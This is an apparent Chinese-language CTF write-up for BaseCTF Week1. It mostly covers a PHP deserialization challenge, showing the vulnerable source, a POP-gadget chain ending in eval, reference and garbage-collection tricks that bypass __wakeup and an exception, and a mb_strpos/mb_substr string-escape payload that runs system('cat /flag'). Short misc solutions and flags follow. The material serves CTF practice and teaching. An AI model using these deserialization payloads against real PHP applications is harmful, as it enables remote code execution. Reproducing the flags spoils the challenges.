<?phphighlight_file(__file__);function substrstr($data){    $start = mb_strpos($data, "[");    $end = mb_strpos($data, "]");    return mb_substr($data, $start + 1, $end - 1 - $start);}class Hacker{    public $start;    public $end;    public $username="hacker";    public function __construct($start){        $this->start=$start;    }    public function __wakeup(){        $this->username="hacker";        $this->end = $this->start;    }    public function __destruct(){        if(!preg_match('/ctfer/i',$this->username)){            echo 'Hacker!';        }    }}class C{    public $c;    public function __toString(){        $this->c->c();        return "C";    }}class T{    public $t;    public function __call($name,$args){        echo $this->t->t;    }}class F{    public $f;    public function __get($name){        return isset($this->f->f);    }}class E{    public $e;    public function __isset($name){        ($this->e)();    }}class R{    public $r;    public function __invoke(){        eval($this->r);    }}if(isset($_GET['ez_ser.from_you'])){    $ctf = new Hacker('{{{'.$_GET['ez_ser.from_you'].'}}}');    if(preg_match("/\[|\]/i", $_GET['substr'])){        die("NONONO!!!");    }    $pre = isset($_GET['substr'])?$_GET['substr']:"substr";    $ser_ctf = substrstr($pre."[".serialize($ctf)."]");    $a = unserialize($ser_ctf);    throw new Exception("杂鱼~杂鱼~");}

调用链子:

Hacker::__destruct-->C::__toString-->T::__call-->F::__get-->E::__isset-->R__invoke

需要绕过__wakeup, 版本的问题, 没办法直接通过修改序列化字符串中属性的数量绕过, 所以肯定会执行到__wakeup里面去 , 但是需要链子能够执行下去, username 需要被赋值为 C类的实例化对象,
所以通过 &引用绕过, $a->end=&$a->username; 修改 end的值也就会修改username的值, 然后end的值是被start所赋值的, 所以就需要让 start=new C();

构造pop链

<?phphighlight_file(__file__);class Hacker{    public $start;    public $end;    public $username="hacker";    public function __construct($start){        $this->start=$start;    }    public function __wakeup(){        $this->username="hacker";        $this->end = $this->start;    }    public function __destruct(){        if(!preg_match('/ctfer/i',$this->username)){            echo 'Hacker!';        }    }}class C{    public $c;    public function __toString(){        $this->c->c();        return "C";    }}class T{    public $t;    public function __call($name,$args){        echo $this->t->t;    }}class F{    public $f;    public function __get($name){        return isset($this->f->f);    }}class E{    public $e;    public function __isset($name){        ($this->e)();    }}class R{    public $r;    public function __invoke(){        eval($this->r);    }}$a=new Hacker();$a->end=&$a->username;$a->start=new C();$a->start->c=new T();$a->start->c->t=new F();$a->start->c->t->f=new E();$a->start->c->t->f->e=new R();$a->start->c->t->f->e->r=system("whoami");$b=array("a"=>$a,"b"=>null); //gc回收机制绕过, 将序列化最后的的b改为aecho serialize($b);//a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"b";N;}
将后面的b改为a绕过throw new Exceptiona:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:17:"system("whoami");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"a";N;}

还有php变量名传参问题

传参 ez[ser.from_you 即可绕过

最后的逃逸问题
mb_strposmb_substr执行差异导致的漏洞
简单说就是

%9f可以造成字符串往后移动一位,因为它不解析,%f0可以把字符串吞掉前三位%f0配合任意的三个字符结合%9f就可以达到字符串逃逸具体可以看:https://www.cnblogs.com/gxngxngxn/p/18187578
在传入了序列化后, 要进行的反序列的$ser_ctf变成了前后都多了一些东西, 需要将前面多出来的东西去掉, 后面的不管前面多出来了38个字符, 通过传参:(本地尝试一下)substr=%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%9f可以去掉前面38个字符

最终payload

?substr=%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%f0aaa%9f&ez[ser.from_you=a:2:{s:1:"a";O:6:"Hacker":3:{s:5:"start";O:1:"C":1:{s:1:"c";O:1:"T":1:{s:1:"t";O:1:"F":1:{s:1:"f";O:1:"E":1:{s:1:"e";O:1:"R":1:{s:1:"r";s:20:"system("cat /flag");";}}}}}s:3:"end";s:6:"hacker";s:8:"username";R:9;}s:1:"a";N;}

Misc

[Week1] 你也喜欢圣物吗

010打开, 最下面有一段base64加密

DO_YOU_KNOW_EZ_LSB?

lsb隐写, stegsolve工具解开, 得到key: lud1_lud1
解密打开, 又存在一个flag.txt的伪加密, 010打开, 14 00 09 00 改为 14 00 00 00
打开flag.txt可以发现是一个假的flag, 找半天, 其实真的flag就在这个文件内容的下面, base64两次解密就行

[Week1] 海上遇到了鲨鱼

wireshark工具打开, 导出对象 --> http , 存在一个flag.php文件, 打开是反过来的flag, 写个python小脚本将其反过来就行

[Week1] Base

先一个base32然后再一个base64

[Week1] 人生苦短,我用Python
import base64import hashlibdef abort(id):    print('You failed test %d. Try again!' % id)    exit(1)print('Hello, Python!')flag = input('Enter your flag: ')if len(flag) != 38:    abort(1)if not flag.startswith('BaseCTF{'):    abort(2)if flag.find('Mp') != 10:    abort(3)if flag[-3:] * 8 != '3x}3x}3x}3x}3x}3x}3x}3x}':  # 3x}    abort(4)if ord(flag[-1]) != 125:    abort(5)if flag.count('_') // 2 != 2:  # 4个_    abort(6)if list(map(len, flag.split('_'))) != [14, 2, 6, 4, 8]:    abort(7)if flag[12:32:4] != 'lsT_n':    abort(8)if '?'.join([c.upper() for c in flag[:9]]) != 'B?A?S?E?C?T?F?{?S':    abort(9)if not flag[-11].isnumeric() or int(flag[-11]) ** 5 != 1024: # 4    abort(10)if base64.b64encode(flag[-7:-3].encode()) != b'MG1QbA==':    # 0mPl    abort(11)if flag[::-7].encode().hex() != '7d4372733173':   #}Crs1s    abort(12)if set(flag[12::11]) != {'l', 'r'}:    abort(13)if flag[21:27].encode() != bytes([116, 51, 114, 95, 84, 104]):  #t3r_Th    abort(14)if sum(ord(c) * 2024_08_15 ** idx for idx, c in enumerate(flag[17:20])) != 41378751114180610: #_Be    abort(15)if not all([flag[0].isalpha(), flag[8].islower(), flag[13].isdigit()]):    abort(16)if '{whats} {up}'.format(whats=flag[13], up=flag[15]).replace('3', 'bro') != 'bro 1':  # 3 1    abort(17)if hashlib.sha1(flag.encode()).hexdigest() != 'e40075055f34f88993f47efb3429bd0e44a7f479':    abort(18)print('? You are right!')import this# BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}

最后两道还不会, 先暂且放着

参考官方wp

https://j0zr0js7k7j.feishu.cn/docx/MS06dyLGRoHBfzxGPF1cz0VhnGh

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